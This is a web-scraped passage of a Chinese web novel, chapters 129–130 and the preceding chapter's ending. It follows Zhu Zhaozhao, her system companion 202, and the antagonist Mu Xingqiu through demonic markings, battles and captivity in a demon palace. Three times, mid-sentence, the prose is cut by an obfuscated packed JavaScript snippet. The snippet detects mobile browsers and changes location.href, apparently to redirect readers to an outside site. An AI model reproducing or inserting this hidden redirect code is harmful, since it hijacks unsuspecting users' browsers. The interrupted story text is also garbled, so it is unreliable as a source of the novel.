“或者干脆现在就去把大反派叫过来,然后我们现在回去。” 越说越觉得自己的主意简直绝妙,说到最后,202兴奋地伸出机械手臂比了个下斩的手势,再扭头—— 正对祝昭昭看傻子的死鱼眼。 它结巴:“主,主人。你干嘛这个表情?” “我说的有什么问题吗?” 祝昭昭都听笑了:“没问题。” 202也笑起来:“那太好了,我们现在就——” 祝昭昭眉眼弯弯:“就是根本没办法执行而已。” 望着祝昭昭那毫无感情的唇角弧度,202:…… 它不太甘心地看向石壁:“为什么嘛?我觉得很合理哇!” “那你觉得错了。” 祝昭昭面无表情:“先不说我有没有能力直接打开通道,就论召唤——” “需不需要时间?” 指尖轻敲石壁,祝昭昭继续道:“你以为打开通道就只是打开通道,不会有后顾之忧,魔族不会察觉?” “那我们可以先提前联系上宗主他们嘛。” 202小声:“我们又不是没有这个能力……” “但这很可能会造成剧情的不可控发展。” 恨铁不成钢地敲敲202脑壳,祝昭昭无奈:“严格意义上来说,实际上慕行秋并没有完全走完在魔域的剧情。” “如果贸然带走他,我很难保证后面剧情不会横生枝节。” “而我直接把慕行秋带来,告诉他突破口在哪,然后我们一起回去这条路也是同样的道理。” 祝昭昭朝202轻抬下巴:“且不说我很难和他解释为什么我一个金丹后期——” 202纠正:“元婴初期。” “……” 祝昭昭简直无语:“一个元婴初期的修士,能在灵力大量消耗后,还可以独自找到突破口。” “单说他如果在场,打开突破口这事就绝不会假以我手。而他现在的情况……” 空气安静下来。 片刻后202开口,语气忧愁:“所以我们现在还能做什么呢?” “先在突破口做个标记。” 捏起的拳头轻轻砸在石壁上,祝昭昭若有所思:“慕行秋此时本身就身受重伤,作为修士,在魔域内的他的行动颇多有束缚。” “那么他如今当务之急,应该是养好身体。” 她伸出食指,出神地绕起圈:“等他养好身体,再找机会引导他来这里发现突破点。” “而且期间必须做足准备,否则一旦被魔宫的高手发现,他被抓去魔宫事小,反抗被废、被重伤事大……” “诶,主人。” 说得正入神,祝昭昭于是下意识答应202道:“什么?” “我是想说,” 202‘嘶’一声作思考状:“主人我怎么觉得你说了那么半天,实际上只是在担心大反派的伤,想让他先养养伤呢?” 祝昭昭斜睨它:“有问题?” 202立刻:“没问题!” 祝昭昭收回目光。 偷瞧了眼她脸色后,202小声继续:“但我总觉得这描述的侧重点不太对嘛。” “毕竟刚重开那会儿,主人你明明都恨死大反派了,现在居然开始为他着想了?” 它作惊恐状:“那可是一剑穿心哦一剑穿心!” 强忍住把它系统内表情模块格式化的冲动,祝昭昭:“……” 不爽归不爽,但202的问题也确实问住了她。 对啊,为什么? 为什么她会不自觉把重心从任务本身,转移到慕行秋身上? “哦,我知道了!” 回过神,祝昭昭挑眉:“你知道什么?” 202一脸‘我早已看透一切’:“主人你是想把大反派养好,让他完全在我们的掌控之中,进而大大增加任务进行容易度对不对?” 祝昭昭眨眼。 “主人你做的一切,都是为了完美完成任务啊!” 祝昭昭沉默。 算了,反正它已经找好理由。 那就认下吧。 不再看202的星星眼,祝昭昭清了清嗓子:“做好标记,我们——” 突然响起的巨大轰鸣,打断祝昭昭的话。 一人一机对视一眼,各自在对方眼中看见意外与凝重。 那是慕行秋离开的方向。 * 乍然燃起的灵焰将手中羽片化作灰烬,慕行秋面无表情地望着不远处的阴影。 察觉到他的目光,方才还威风凛凛的妖兽瞬间抖若筛糠。 狠狠往角落里缩了缩。它漆黑的大眼珠里,写满了惊惧。 片刻对视后,满身是伤的妖兽再也承受不住压力,嘶鸣一声便振翅欲逃—— 下一秒,仿佛被无形大手擒住,它如断线珠子般‘轰’一声重重砸落在地。 尘烟轰然爆起,又被紧随而来的气流刮散。 蔽月薄云移开之时,慕行秋在妖兽数步远的距离停下脚步。 月光点亮妖兽眼瞳,也得以让他看清自己脸上奇异且诡异的花纹。 魔纹。 大量魔气凝结而生的产物。 意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352043|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这点的刹那,慕行秋死死捏紧手中剑柄。 而仿佛是感知到他情绪翻涌般,他脸上魔纹瞬间如同生了灵智般游动起来。 慕行秋亦毫不客气,几乎是同时便运转起灵脉。 灵力暴涨的瞬间,那原本浓黑如墨的魔纹顷刻淡化下去,几乎只剩数道浅浅印迹。 然而下一秒,他周身气息便立刻紊乱,猛地喷出口血来。 敏感察觉到眼前人类的情况急转直下,原本缩在角落的妖兽立刻暴起,试图冲出他的控制范围。 却落了空。 如有实质的黑气凭空出现,如藤蔓般将它死死缠住。 缓缓走到妖兽近前,慕行秋垂眸。 千藏万躲数十载,他最后还是走到这一步。 可这本才是他的模样。 他本不该藏得那么辛苦。 或许,他其实要感谢它,感谢眼前这个畜生。 毕竟如果没有它,他也许还要再苦苦压抑自己十年,百年…… 亦或是压抑到死? 慕行秋眼底掠过浅浅红光。 但如今,因为这只畜生,他彻底释放了自己原本的力量。 这很好。 这应该很好。 他理当报答这只畜生。 怎么报答? 神思在此刻回笼,慕行秋略微出神的双眼重又聚焦。 他朝妖兽头顶缓缓抬手。 下一秒,骤然爆发的黑色魔气将妖兽吞噬。 它甚至来不及发出一声嚎叫,就被暴烈的魔气燃烧殆尽。 而仿佛是在庆祝慕行秋接受了这股力量般,魔气升腾着,兴奋地环绕在他周围;他脸上的魔纹也游动着,再次变得漆黑。 畅快的感觉令人着迷,慕行秋几乎感觉自己就要与魔气融为一体。 却就在最后一道界限将要消失的刹那,他忽然察觉到什么。 是祝昭昭的气息。 全身血液刹那冰凉,慕行秋眼瞳骤缩。 他要逃。 他要逃得远远的。 怎样都好,但绝不能,他绝不能让自己现在的模样被她看见。 不能让她看见,不能让她知道。这一刻,甚至慕行秋自己都没察觉—— 他的手正细细地,细细地发着抖。 慕行秋闪身消失在原地。 山旁、丛中、花间、密林……他漫无目的地掠过一处又一处,又一次又一次地离开。 却不知道该躲在哪里。 是啊,他还能躲到哪去呢? 当她顶着一众长老与亲传弟子的压力维护他的时候,当她拼着空间乱流和也许会落单在极其危险的地方,也要拼命来救他的时候…… 他早就无处可躲了。 指甲刺进掌心带来尖锐刺痛,慕行秋咬牙。 于是索性不再逃跑,他带着一种隐蔽的、咬牙切齿的,报复般的恨意,躺倒在一处池水旁。 看吧。 那就看吧。 既然你硬要跟上来,那就亲眼看看。 看看你无论如何都要拉住的人,究竟有着怎样可怕的模样。 这样你离开的时候,才不会再犹豫。 紧追不舍的气息很快停留在不远的某处,慕行秋也彻底不再逃跑。 可挣扎着,他最后却还是抬手,让宽大的衣袖覆盖在脸上。 再如等待审判般,等待不远处那道气息来临。 气息也确实来了。 那熟悉的,总是飘忽不定,却叫人忘不掉的淡香轻巧地,落到自己身旁。 紧接着,一双带着些微冷意的手,缓慢却坚定地,掀开他宽大的衣袖。 四目相对。 慕行秋先看见少女的脸。 再看见少女片刻愣怔后,朝着他明媚地笑开。 “脸上图腾不错嘛。” 他听见少女说。 129. 你真的不知道,这是什么吗?^^…… 图腾? 慕行秋怔。 见他没什么反应,祝昭昭歪了歪脑袋,露出疑惑的表情:“这图腾怎么弄上去的?” 围观的202:…… 咦惹。 好做作的主人。 祝昭昭的问题还在继续—— “你该不会就因为不想让我看见这东西,才跑的吧?” “为什么突发奇想往脸上画花?” “用什么草汁画上去的,水能洗掉吗?” 少女连珠炮似的问题,将慕行秋那些复杂心绪问得荡然无存。 冷静下来,他坐起身。 “洗不掉。” 祝昭昭眨眨眼。 慕行秋看着她:“而且你是真的不知道,” “我脸上的,究竟是什么吗?” 祝昭昭和他对上目光。 平静的神色,眼底却藏着有些冰冷的疏离。 慕行秋虽然口口声声‘你是真的不知道,我脸上的究竟是什么吗?’。 可他的神情却让祝昭昭很清楚。 他是带着答案,在问这个问题。 两人都不再开口,带着湿意的空气里,只剩阵阵蝉鸣。 直到祝昭昭轻抚了抚裙摆。 她蹲下身。 “知不知道,取决于你。” 直到此时,她终于得以细看慕行秋脸上的花纹:“你希望我知道吗?” 慕行秋沉默。 是么。 ‘取决于你’。 是这样么。 少女的打量毫不掩饰。长袖之下,慕行秋的指节,一点点蜷缩。 “而且就算知道了又怎么样?” 指节陷进泥土的潮湿与凉意后知后觉传来,慕行秋回过神。 他抬眸。 将慕行秋眼中怔仲收进眼底,祝昭昭声音轻缓而坚定:“我现在还在这里。” “今天,明天,更远……” “我会。” “一直在这里。” 抬手,祝昭昭纤细的指尖,轻轻落在慕行秋额前。 细细的颤抖被指尖察觉,她却依旧坚决地,不容置喙地,轻抚开慕行秋额前发丝。 “既然如此,那么知道或者不知道。” “对我来说又有什么区别?” 碎发被抚开的瞬间,慕行秋看见少女微弯的眉眼。 她的话音掷地有声,她的眼瞳莹润坚定。月光落在她身上,仿佛为她披了层银白薄纱。 慕行秋恍惚。 她太过坦荡,坦荡到他不受控制地想去相信。 哪怕曾经的种种告诉他,轻信他人将会付出什么样的代价。 可此刻,他却还是希望尝试。 尝试相信眼前的少女。 既然如此,那么今夜…… 他是否暂时不需要再奢望水池的水,能将脸洗净了呢? 微蜷的指节认输般松开,慕行秋一把抓住晃荡在额前的手。 微凉却细腻的触感自交握处传来,他借力从地上坐起身。 随着灵气流淌,他全身焕然一新:“如今是什么时候。” 差点被慕行秋拉得栽到地上,祝昭昭没好气地回:“丑时三刻。” “尚不算晚。” 慕行秋颔首,开始整理衣袍:“刘友情况如何?” “还……好。” 最后关头把‘就那样’三个字咽了回去,祝昭昭想了想,又补充:“他这会儿应该已经回队伍了。” 慕行秋淡声:“所以你赶来时,并未确认他的去向。” 闻言挑眉头一挑,祝昭昭问:“你想说什么?” 兀自整理衣袍,慕行秋沉默。 祝昭昭却不打算就此揭过:“你现在是在怪我,没有确认刘友安全就乱跑?” 话到最后已经带了不善之意,她眉头紧锁,大有一副慕行秋不解释清楚,轻易别想善了的架势。 “不是。” 视线从衣袍移到祝昭昭的脸,慕行秋摇头。 “那是?” 打定主意要问出个一二三,祝昭昭紧盯着他。 “你救他,必定叮嘱他回队。” 慕行秋对上祝昭昭的目光:“他若乖乖回去,无妨。若是乱跑,便证明他不愿听你的话。” “他不愿听你的话,之后必定会找你麻烦;而如果他有意找你麻烦……” 他一字一句,话里尽是危险:“稍后归队,我便会找时机处理他。” “……” 想不到听到的竟然是这么个回答,祝昭昭一时语塞。 态度也缓和下来:“他没有乱跑,老实归队了。” “如此。” 慕行秋点头。 气氛渐渐开始变得尴尬,自知理亏,祝昭昭于是主动挑起话题。 “你这个……” 想到慕行秋刚才的反应,她比划:“你脸上这个……” 慕行秋:“魔纹。” 祝昭昭当场一哽。 不是,就这么水灵灵地说出来了?? 她是不是要签保密协议?? 但慕行秋自己都说了,她干嘛还费劲替他遮遮掩掩的。 心一横,祝昭昭干脆从善如流:“对,这个魔纹。” “不需要把它收一下吗?” 想了想还是怕慕行秋误会,她叠Buff:“我是无所谓,但其他人看见的话,会不会对你……” 话到最后越说越小声,祝昭昭看着对面的人。 一张脸明明没表情,眼睛却一转不转地盯着自己,盯着盯着硬是让他盯出些幽怨的味道来…… 可恶啊。 怎么搞得我成罪人了?? 祝昭昭:地铁老人看手机·jpg 好在慕行秋及时收回视线。 “可以收。” 他轻抚开额前碎发:“只是——” 松口气的祝昭昭抢答:“只是需要帮忙吗?” 慕行秋的第一反应其实是拒绝。 因为冷静下来后,他很快就知道该如何收回魔纹,当然也清楚这件事可以独立完成。 可望着少女那点漆般的眼眸,他却鬼使神差地改了口:“……那就麻烦了。” “有什么麻烦不麻烦的。” 把‘你要是收不回这玩意才是真麻烦’咽回肚里,祝昭昭三两步在慕行秋面前站定:“说吧,要我做什么。” 大概告诉了祝昭昭几个要点后,慕行秋任由她纤长手指摸向自己面颊。 少女长睫轻颤,专注的眼中倒映出他的模样。 他甚至能看清她脸上细小的绒毛。 “是不是很丑。” 声音很小,小到几乎风一吹就会听不见。 祝昭昭却听得清楚。 眼睛都不眨一下,她语气正直得像要入党:“其实我对书画也略通一二,如果你有需要,我可以帮你描新的。” “但草汁你得自己提供。” 慕行秋:“……” 202:“……” 祝昭昭:“还有什么问题吗?” 没听见回答,那就默认没话要说。祝昭昭语毕,指尖凝聚的灵力,也在慕行秋额间画下句点。 “好了!” 朝后跳开,她一边拍拍手,一边‘后知后觉’地瞄向慕行秋的脸:“怎么了?” 慕行秋移开视线:“无事。” 祝昭昭便耸耸肩:“没事的话我们就赶紧走吧。” “天色也不早了。” 抬手折下一根树枝,慕行秋将灵力附在上面:“嗯。” “走吧。” * 不是自己掌舵,回程的路便有些无聊,祝昭昭于是盯着周围极速后掠的风景发呆。 “主人啊。” 202贼兮兮的声音在脑海响起:“你现在是不是很高兴?” 祝昭昭面无表情:“高兴什么?” “就,大反派啊!” 202一脸‘我主人怎么回事’的表情:“你看他,魔纹被你发现了也就这个反应。” “这还是那个心狠手辣的大反派吗?!” “为什么不是。”祝昭昭抬眸,“毕竟再心狠手辣的人,都会给自己留个帮手。” 202咂摸出点不对味来:“主人你兴致不高啊。” “是有什么问题吗?” 恍惚间,视线长久落在身前的颀长背影。祝昭昭注意到他周身被月光渡上的银白光边:“我在想,” “魔纹是大量魔气凝结的产物,那么魔纹成型之前,慕行秋的魔气一定是剧烈且失控的。” 202的眼神充满智慧:“所以呢?” “所以来小镇收布匹的魔宫来人,什么时候到?” 虽说被祝昭昭突然调转的话头弄得云里雾里,但202还是马上调出了剧情梗概:“嗯,还要三天。” “三天么……” 正思忖,耳边忽然止歇的风声让祝昭昭回神。 继而发现他们此刻所在,并不是目的地。 于是她问:“怎么了?” “有数道气息正在快速接近方才那处。” 慕行秋神色微冷:“且修为皆不在我之下。” 心头顿时一个咯噔,祝昭昭几乎立刻:“回镇子,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356922|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就走。” 没有犹豫,慕行秋调转方向便朝镇子赶。 却还是迟了一步。 自远处飞射而来的灵力直取面门,慕行秋极速后撤,再抬手一招。 剑气拔地而起,正撞飞射灵力。 顷刻间,以两人所立之处为中心,巨大的冲击气浪席卷四周。 “左上同眼睛位置!” 紧紧盯住某处,祝昭昭咬牙:“再是地下脚底为中心,朝前五寸!” 话落她迅速摸向储物袋,将长剑抛向慕行秋。 抬手朝身前接连拍出三个法诀,射向眼睛的剑气就此刺在乍然张开的光壁上。慕行秋接住长剑后,一把搂住祝昭昭跃起,挥剑斩向地面。 祝昭昭努力忽略腰上的陌生触感:“正面!” 地面寸寸爆裂开来,漫天尘烟里,慕行秋将长剑平举至眼前。 口中默念片刻后,长剑寸寸亮起。 直到耀目光芒传至剑尖的刹那,他一剑刺出。 空气都仿佛停滞,下一秒,以剑锋为中心,道道白色裂隙开始极速向四周伸延。 慕行秋将手中长剑再朝前一递,无形屏障轰然破碎。 “竖子尔敢!” 一声大吼由远自近,飞快靠近两人所在方位。 “右边!” 与慕行秋精神传音的同时祭出防御法器,祝昭昭灌注灵力的瞬间,攻击也精准落在法器之上。 手腕朝旁歪斜,卸去法器上的巨大压力,她咬牙:“三息之后,他会近你的身。” “拦住他!” 话音才落,防御法器已经悬浮于身旁。数枚薄刃滑进指间,祝昭昭朝东南方向的树林深处反手一掷。 铿锵之声随即自林间响起,她化刃为剑,直直朝虚空斩下—— “你这小妮子还有些手段。” 尖细男声传遍四周,祝昭昭也再次催动防御法器。 下一秒,她猛地感觉肩膀一空。 202的尖叫随即在耳旁响起:“啊啊啊啊主人你肩膀被洞穿了!!” “血还溅到大反派了身上!!” 尖利痛感后知后觉传来,祝昭昭咬牙刚想止血,动作却因身后乍然亮起的黑光一滞。 再接着,汹涌魔气自慕行秋身上爆发而出。 “苍天啊!”202惊叫。 肩膀的血洞在魔气下愈合,祝昭昭却已经无暇顾及,只是望着身前人的背影。 脚下瞬间张开一座巨大漆黑剑阵,慕行秋缓缓抬起两指并拢的手。 无数漆黑剑气自剑阵内缓缓浮出。 见状面色剧变,站在他对面的老者厉声大吼:“速速前来助我!” 两道身影很快闪现在老者身旁,不多时,一道白光亮起,半圆结界将三人齐齐笼罩。 下一秒,慕行秋手腕猛地下落。 剑气如暴雨梨花般炸开,不断攻击结界。无数涟漪在结界上泛起,三人苦苦支撑,才不至于让其在剑气下破碎。 而面对此情此景,慕行秋只是张开抬起的手。 剑气刹那停住,接着齐齐调转方向,直指结界 他握拳。 所有剑气瞬间刺向结界。 黑的剑气,白的结界碎片,清脆的碎裂之声如同某种宣告,让黑白之间的三人脸色青灰。 慕行秋却不在乎这个。 剑气消散的刹那,他复又抬手。 三人中的老者眼瞳骤缩,也再按捺不住。 他扬声:“小友确定还要继续么?!” 慕行秋冷冷盯着老者。 老者立刻:“你虽攻势猛烈,但力量早已透支。” “如果我没猜错,你此刻,早已是强弩之末罢。” 空气安静下来。 直到慕行秋开口:“你当如何。” “我三人其实并不想伤害你们。” 老者解释:“我三人本意,只是想请你们,随我们前往魔宫一趟。” 祝昭昭立刻拽住慕行秋衣袖。 袖中指尖微动,慕行秋反问:“我若不愿呢。” 老者姿态虽软,态度却强硬:“以小友现今状态,我三人强请你们前往魔宫,亦无不可。” 慕行秋神色瞬间冰冷。 对峙无声。 许久,他终于开口—— “可以。” 下一秒,漆黑剑气飞闪,三人中的一人身上,顷刻炸开血花。 飞溅的鲜血后,老者来不及扬起的嘴角抽搐着,与不可置信的神色一起,显得刺目非常。 “但他的命,需得留下。” ‘他’,是刚才伤了祝昭昭的男人。 130. 他的行为非常合理 窗外阳光落在脚上一刻钟以后,祝昭昭终于象征性地从精神空间分出神来,换了个躺着的姿势。 202趁机伸着个脑袋,去看她光幕上的斗地主画面:“主人啊。” 正准备往座位过来的祝昭昭:“干嘛。” “我是想说……” 见祝昭昭距离光幕还远,202于是开始靠近光幕:“刚才到现在你已经打了两个多小时了,你的豆是不是越来越少了啊?” “你不懂,雨露被她现在的任务目标闹得心情不佳,我在安慰她。” 随着202越靠越近,祝昭昭脸色微变:“我等她叫地主,你别给我乱动界面。” 完全不搭理祝昭昭,202的机械手从球体里冒出来:“可是她真的需要安慰吗?” “我怎么听628说,她的任务目标都被她弄得茶不思饭不想,人都暴瘦十来斤了呢?” “她的任务目标茶不思饭不想就证明她很好?你太想当然了好吗?” 眼看202的机械手离光幕越来越近,祝昭昭再也绷不住了:“我最后警告你一次,立刻把你的爪子给我收回去,不然等会儿有你好——” ‘三分!’ 明快嘹亮的机械男音快乐地继续:‘超级加倍!’ 心满意足的202:“……” 彻底石化的祝昭昭:“……” 显幸灾乐祸的柳雨露:“哎呀昭昭,这么大方的嘛,开打到现在你已经上供给我很多豆了哦。” 不明觉厉的同事兼牌友A:“祝姐大气。” 默默走回光幕前坐下,祝昭昭一手利落出牌,一手直接扣住准备逃跑的202的天灵盖。 * 三局之后,斗地主以柳雨露因为任务目标来找她,宣布告终。 从精神空间出来,祝昭昭没好气地换起另一只脚跷:“你到底因为什么事情来烦我。” 被揍到只能滚地前进的202:“我就是想问问,” 祝昭昭斜睨它:“问什么?” “我就是想问问主人你,我们到底什么时候才能出去嘛!” 202抱头翻滚,一副实在憋不住的架势:“我们都被关在这里几天了,真的没有问题吗??” “有问题啊,” 面对暴走的202,祝昭昭眼皮都懒得抬:“但我肩膀上的伤还没好,请问你觉得我应该怎么办。” “啊还没好啊?” ‘嘶’一声飞到祝昭昭肩旁,202非常不高兴:“这么久,是不是那个老头给的药有问题啊?” 它忿忿:“我就知道那老头心眼子多,等出去了逮到机会的,我一定……” “你一定个头。” 祝昭昭简直无语:“当时暗算我的那个武器上就带着毒,老头给的药再好,也需要起效时间好吗?” “而且伤口只是还没完全恢复,不是一点动静没好。我的肩膀已经已经可以自由活动了。” 202还有点懵:“这样哦……” “不过说来说去,还是怪大反派没事乱杀人啦!” 越想越气,它捏起拳头乱挥:“他那会儿要是冷静点不把人干掉,我们现在怎么会陷入这么被动的境地。” “他是不是吃错药了啊?!” “应该不是。” 手指轻招,掌心里很快多出颗灵果,祝昭昭对着灵果就是一口:“因为那时候我受伤了。” 202不服:“受伤又怎么了?” 祝昭昭白眼:“受伤就需要治疗,找敌对方拿药,就得先在气势上压制住他们。” “那也不需要杀人啊。” 202伸出手指比划:“谈判、威胁,再不济也给他们来个贯穿伤——大反派甚至只要伤修为最低那个,目的也能达到。” “他干嘛非要杀了伤到主人你的那个人呢?” “……” “还是在他本身已经很虚弱的情况下?” “……” 沉默半晌,祝昭昭终于尝试解答:“也许是因为作为魔界内唯一同伴的我受伤了,他太着急?” 202不语,只是一味用看傻子的眼神看着祝昭昭。 祝昭昭被看得光火:“你到底想说什么。” “我就是想说这事儿发生得太反常了。” 见势不妙,202赶紧举手做投降状:“完全不符合大反派的行事风格,太莽撞了。” “主人你不觉得吗?” 空气陷入安静。 “所以,” 起身半靠在床头,祝昭昭望向窗边:“你啰嗦半天,就是想告诉我这个。” 她回避了202的问题。 “我是说,我们不能坐以待毙呀!” 完全没注意到这点,202激动地飞到祝昭昭旁边:“而且主人你没发现大反派很多天不过来了吗?” 环胸的手指在臂弯轻敲,祝昭昭抿唇。 202说的没错,慕行秋确实是很多天没来了。 他去哪了? 窗外忽然传来嘈杂声响,祝昭昭循声望去,若有所思:“这么一说,好像从前天开始,魔宫就一直很热闹,连看守这间屋子的人都经常离开……” “你觉得他们是去干什么了?” “嗯……” 202飞到窗旁:“是在准备举行宴会之类的吧?” ”就最近这段时间的话,我经常是会听到类似恭喜宫主、寻回、指日可待之类的话……” 说着说着,它突然回过味来:“主人你是想说,这事很可能跟大反派最近几天莫名不来有关系?” 双手枕到脑后,祝昭昭不答反问:“原剧情里,并没有提到过慕行秋的身份问题。” 202调出剧情资料:“对呀。” “然后上周目,我们失败的原因是,他从魔界回修仙界后修为大增,把所有主要角色给灭了。” “没错呀。” “但他在魔界具体发生了什么,没人知道。” “所以主人你是想说……” “你说得没错。”抽出一只手,祝昭昭打了个响指,“我们是该出去活动活动了。” 202立刻高兴起来:“好呀好呀,那主人你打算怎么做?” “夜晚,很适合寻找秘密。” 一个鲤鱼打挺从床上直起身,祝昭昭盘膝而坐:“所以我们今晚就行动。” “可是,” 刚想点头,202突然发现盲点:“主人你这几天都呆在屋子里,对魔宫完全不了解。我们就算出去,又能去哪呢?” 祝昭昭闻言挑眉:“你怎么知道我对魔宫完全不了解。” “主人你的意思是?” “你忘了我这副身体的技能?” 202呆了呆:“主人你是说……预知之眼?” “正是。” 祝昭昭眨眨眼:“从被安置在这里的那天起,每一天,每一个在这间屋子附近活动过的人——” “我都观察过。” “哦,我明白了!” 202恍然大悟:“所以主人你这段时间,其实一直在偷偷从那些人身上,搜集有关魔宫的信息对不对!” “什么叫‘偷偷搜集’,我是光明正大搜集的好吗?” 祝昭昭嫌弃地斜它一眼:“而截至目前,我确实收集到一些信息。这些信息我本来想等慕行秋来再和他说的。” “但现在看他突然消失的架势,这些信息的指向,估计和他脱不了干系。” “哎呀管他那么多有的没的,”202摆摆手,“总之既然主人你有方向,我们就去,动起来总比坐以待毙强。” 它说着,一脸贼笑地凑到祝昭昭身旁撞她肩膀:“主人,我还以为你这两天光和柳雨露斗地主去了呢,没想到还是有在做正事的嘛!” 被撞得一个趔趄,祝昭昭白眼:“你以为我是你。” “那你还有没别的问题。” 202正色:“没了。” “你如果没别的问题,” 祝昭昭长长伸了个懒腰:“那就轮到我有问题了。” 202听得满头问号:“主人你有什么问题?” “魔宫毕竟不是剑宗,想探路……” 两手拍上膝盖,祝昭昭望着房门口多出的两道人影:“当然需要一点准备。” * 入夜—— 挥手布下结界,祝昭昭开始换衣服。 202对着窗户外的人影发呆:“主人,有件事,我不知道该说不该说。” 祝昭昭眼皮都不抬:“不该说。” 202立刻急眼:“我就要说!” 习以为常的祝昭昭:“……” "你说我们等会儿出去,要是被别人发现了怎么办?” “发现就发现。” “可是这里不比剑宗,被发现了没人能罩着我们啊。” “没人罩就没人罩。” “那他们动手怎么办,尤其主人你明面上还是抗魔前线,剑宗掌门的亲传弟子。” 祝昭昭嗤声:“暗地里我还天玄山圣女呢,他们能拿我怎么样。” 202气得猛转头:“主人你是不是傻——” “怎么了。” 祝昭昭看着呆在原地的202:“继续说。" “没。”202立正嘻笑,“我没什么好说的了。” “那就走。” 撤下结界,已然打扮成魔宫侍女的祝昭昭缓步走到窗前:“先去离这里最近的地方。” 轻轻将窗打开条缝,她把掌心药粉吹向外头立着的两人。 再等到窗上影子软倒滑落,才慢悠悠地推门而出。 确认好方向后,她闪身,出现在一处临水而立的小屋前。 202立刻开夸:“诶呦这地方好。瞧瞧这池塘,这凉亭,这荷花,这锦鲤,这——” 话到半路它眼前一花。 202先是沉默。 才继续:“这地方也不错,擂台修得很气派哇,看这四根大石柱子,真是——” 祝昭昭再闪。 “这药阁——” “这炼器场——” “这学堂——” “这——” 眼前景象再次变幻的时候,202终于憋不出了。 “我说主人啊。” 它死鱼眼:“你这跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360536|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来跑去的,到底是想找什么嘛?” “总不能是在参观魔宫吧?” 至此,祝昭昭终于回话:“是的。” 202:? 一边说,她一边开始走。 看祝昭昭环顾四周的模样,202还是忍不住叨叨:“主人你到底是在……” 不远处的四合院中,突然传来声音。 而声音响起的刹那,202才发现祝昭昭已经朝那处走了一段。 穿过密林曲径,她很快幽魂般停在一扇窗前。 原本不甚清晰的交流声,也在此刻无比凝实起来—— “仪式准备得怎么样了?” 略显低沉的话语,听起来像是中年男子。 “一切顺利,再过几天,便可彻底大功告成。” 接话的男声更加年轻,想来应该是一位青年。 “呵,还真是多亏了曾书。如果不是他,那小子未必能培养得如此出色。” 曾书? 是那位剑宗五长老曾书吗?? 合作?? 瞳孔地震的202对上祝昭昭毫无情绪波动的脸,整颗球干脆开启了震动模式。 不是,它的主人其实也知道吗?? 什么时候知道的?? 这合理吗?! 屋中对话仍在继续—— “但此人心计颇深,随时便会反咬我们一口,实在难以信任。” “信任他?” 中年男子冷笑:“他与我们合作,本就有他的算计,只是那时我们需他提供助力,许多事上才睁只眼闭只眼。” “既然如今我们的目的已经达到,那么他便也没了利用价值。若他再动花花心思……” “杀了便好。” “您所言甚是。” “呵呵。” 中年男子的笑声从窗里传来。 忽地右足后点,祝昭昭做出后退之姿。 屋内潺潺水声透出,像是倒茶:“那么窗外的小友对此,又有何见解?” 刹那连连倒掠,祝昭昭开始极速逃离。 茶盏放下的脆声响起,一道黑影也破门而出。 “为何急着走?” 中年男子话音含笑:“不留下来喝一杯么?” 与温和话语截然相反,男子成爪的五指直取祝昭昭胸口,是实打实的杀招。 双锥闪现在手,祝昭昭‘嚓’声将之交叉在前胸。 男子五指撞上双锥,发出尖锐划音。 “雕虫小技。” 他冷哼,五指发力。 瞧了眼瞬间开始扭曲的双锥,祝昭昭当机立断松开手,再朝左边猛一扭身。 一道银鞭撕裂空气,将她刚才所立之地劈得石碎地裂。 借着尘烟爆起的瞬间,祝昭昭发动防护法器。 下一秒,银鞭与灵力气刃同时轰击在结界上。 撑着防护法器的手微微颤抖,祝昭昭似说笑般:“你们两个大男人打我一个弱女子,是不是有点胜之不武?” “对细作,何须客气?!”不等中年男子出声,手持银鞭的青年男子已经先一步怒斥。 闻言耸了耸肩,祝昭昭轻叹:“好吧,既然如此……” “那我就先废了你!” 她耳旁白光忽闪,一枚手指长的短锥瞬间穿透青年琵琶骨。 抓住青年吃痛恍惚的间隙,祝昭昭欺身而上,朝他脖颈重重一击。 青年当场倒地。 202急得直蹦:“为什么不干掉他?!” “我还要活!”祝昭昭没好气。 另一边,冷冷瞥了眼地上青年,中年男子不怒反笑:“还真是多谢小友手下留情了。作为回报,” “我便也留你一命!” 话音未落,飞射而来的气刃已经划破祝昭昭右脸。 刺痛后知后觉顺着面颊传来,赶在最后一刻才堪堪避开的祝昭昭,死死盯着面前的中年男子。 下一秒,他的身影消失在原地。 祝昭昭亦立刻移动身形。 却还是慢了一步。 她左脚腕上,一道荧绿光芒刺眼。 灵力锁链的另一端,被中年男子牢牢踩在脚下。 他俯视祝昭昭的眼神轻慢:“小友不跑了?” 确认灵力锁链一时半刻不可能解开,祝昭昭干脆也笑:“你把我困住却让我跑,我还怎么跑呢?” “的确。” 